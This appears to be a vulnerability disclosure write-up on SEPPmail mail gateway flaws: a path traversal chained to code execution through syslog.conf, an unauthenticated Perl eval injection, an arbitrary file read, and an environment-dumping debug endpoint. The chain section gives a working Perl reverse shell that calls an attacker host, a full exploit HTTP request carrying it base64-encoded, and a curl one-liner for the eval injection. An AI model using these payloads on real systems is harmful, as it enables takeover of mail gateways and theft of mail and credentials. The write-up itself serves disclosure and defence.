Overview#

The following vulnerabilities were identified and fixed. Not all vulnerabilities will be mentioned in this post:

The Primary Vulnerability: Unsanitized Path Traversal#

The core flaw exists in the handle_request function of /v1/file.app. When processing a chunked upload, the application extracts a file parameter directly from the user-supplied JSON payload:

# /v1/file.app
push @{$fileparams->{soapfiles}}, {
    ...
    file => $file->{file} || q{},  # Unsanitized user input
    ...
};
...
my $answer = $message->store_attachments( undef, undef, $fileparams );

This file value is passed to WebMailMessage::store_attachments, which uses it to construct the output path on the filesystem. Because the application performs zero sanitization on this parameter, an attacker can use directory traversal sequences (../) to escape the session directory and write to any location on the appliance writable as the nobody user.

Chaining to RCE#

The nobody user has only very few permissions. Apart from the /tmp and /var there aren’t many but one stood out:

find / -user nobody -perm -u+w
/dev/cuaU0
/etc/syslog.conf
/tmp/trust
/tmp/trust/crldir
/tmp/trust/e0eaaa18777f842eb4fd9a54289f03bca62c28c93bc3a5fe0a9d4f430efef765
/tmp/trust/e0eaaa18777f842eb4fd9a54289f03bca62c28c93bc3a5fe0a9d4f430efef765/9C:EF:ED:B3:3C:24:8D:16:FC:CF:D0:8C:62:CD:44:BC:56:A0:D5:F0
[...]
/tmp/sessions
/tmp/sessions/daemon
/tmp/sessions/web
/tmp/sessions/web/6FmCdKqypnueAJqVfzvCLUu79qwjyZUS
/tmp/sessions/web/6FmCdKqypnueAJqVfzvCLUu79qwjyZUS/db
/tmp/sessions/web/6FmCdKqypnueAJqVfzvCLUu79qwjyZUS/db/__db.001
[...]
/var/lfm
/var/lfm/.keep
/var/lfm/nosync
/var/log/proxylog
/var/log/SMTPD.jobid
/var/log/system
[...]

On the SEPPmail appliance, the nobody user has an unusual and highly sensitive permission: write access to /etc/syslog.conf.

OpenBSD’s syslogd supports piping log messages directly into a command. By exploiting the path traversal to overwrite the system’s syslog configuration, we can execute arbitrary commands.

We can add a line to syslog.conf that pipes any system log message into a Perl-based reverse shell:

*.* |/usr/bin/perl -e 'use Socket;$i="<ATTACKER_IP>";$p=8081;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

cat /var/cron/tabs/root
1-59/15 * * * * /usr/bin/newsyslog >/dev/null 2>/dev/null && ...

cat /etc/newsyslog.conf
[...]
/var/log/SEPPMaillog                                    644        99999     10000       *       Z
[...]

POST /v1/file.app HTTP/1.1
Host: test123123.com
Authorization: Basic NkZtQ2R [...] uNEU=
Content-Type: application/json
Content-Length: 682
Connection: close

{
   "files": [
        {
            "name": "syslog_exploit.txt",
            "file": "../../../../../../../etc/syslog.conf",
            "chunks": [
               {
                    "backref": 0,
                    "offset": 0,
                    "size": 240,
                    "data": "Ki4qIHwgL3Vzci9iaW4vcGVybCAtZSAndXNlIFNvY2tldDskaT0iMTkyLjE2OC4xNzguNDYiOyRwPTgwODE7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307Jwoj"
                }
            ]
       }
   ]
}

Impact#

The chain allows for a complete takeover of the SEPPmail appliance. Attackers can read all mail traffic and persist indefinitely on the gateway. On these virtual appliances the Blue Teams have usually no visibility.

Only customers with the Large File Transfer license are affected by this. This can be tested by checking if the endpoint https://<gateway>/v1/file.app is reachable.

HTTP Status code 404 ==> not affected

CVE-2026-44128: Perl Injection#

The new UI under /api.app now supports new features such as the /api.app/template feature. Here we could theoretically upload and test templates or we can leverage it to a fully functional Perl web shell. The application takes the user-supplied upldd parameter and passes it directly into a Perl eval() statement. Because the input is not sanitized or validated, any Perl code injected into this parameter is immediately executed by the server:

sub get_template {
    my ($hr_request, $or_session, $or_webdomain, $hr_env) = @_;
    ...
            if ($hr_request->{params}{upldd}) {
                eval $hr_request->{params}{upldd};

The following request submitted via curl will create a file in the temp directory as a PoC:

curl -k -X POST "https://<TARGET_HOST>/api.app/template" -F "uplde=@/dev/null" -F "upldc=@/dev/null" -F "upldt=@/dev/null" -F "upldd=system('touch /tmp/trust/rce_poc');"

You might wonder why such a critical endpoint doesn’t require authentication. The api.app configuration does specify a nosession => 1 key-value pair for certain endpoints (though notably not for this one). However, the application never actually evaluates this value. Instead of enforcing centralized access control at the routing level, the application relies on each individual API function to manually implement its own authentication checks. The function handling our template endpoint simply lacks this check entirely.

Interestingly, this vulnerability was silently patched sometime after version 15.0.0 (and is confirmed fixed by version 15.0.2.1). We originally stumbled across this flaw purely by accident after opening a directory containing an older version of the application. It is concerning that there is absolutely no mention of this critical security fix anywhere in the official release or patch notes.

CVE-2026-44127: Preview any file and delete its folder#

The new api.app also supports the preview of attachments. The attachment/preview API endpoint accepts an identifier parameter. This can be set to arbitrary locations such as the local LDAP database of the appliance. This way, mails, all users, password hashes, keys, etc. can be exfiltrated.

After extracting we can look at the LDAP database:

After viewing a file via the identifier parameter, remove_folder is called which tries to delete the parent folder of the provided file.

sub preview
{
    my ( $hr_params ) = @_;
    my $s_tempfile = '/tmp/' . uri_unescape( $hr_params->{identifier} );
    $s_tempfile =~ s/["']+//g;
    if ( my $s_data = Webapp::Basics::read_file( $s_tempfile ) ) {
        my $s_mime_type = Webapp::Basics::read_file( $s_tempfile . '.info' );
        $s_tempfile =~ s/\/[^\/]+$//;
        Webapp::Basics::remove_folder( $s_tempfile );

As the process is running as the user nobody, most directories can not be deleted.

CVE-2026-7864: Debug Features#

The /api.app/hello endpoint is available without authentication and supports some handy debug features. By simply appending the op=env parameter to the URL, the server dumps all of its environment variables. A simple GET request to /api.app/hello?op=env forces the server to return the complete environment variable list: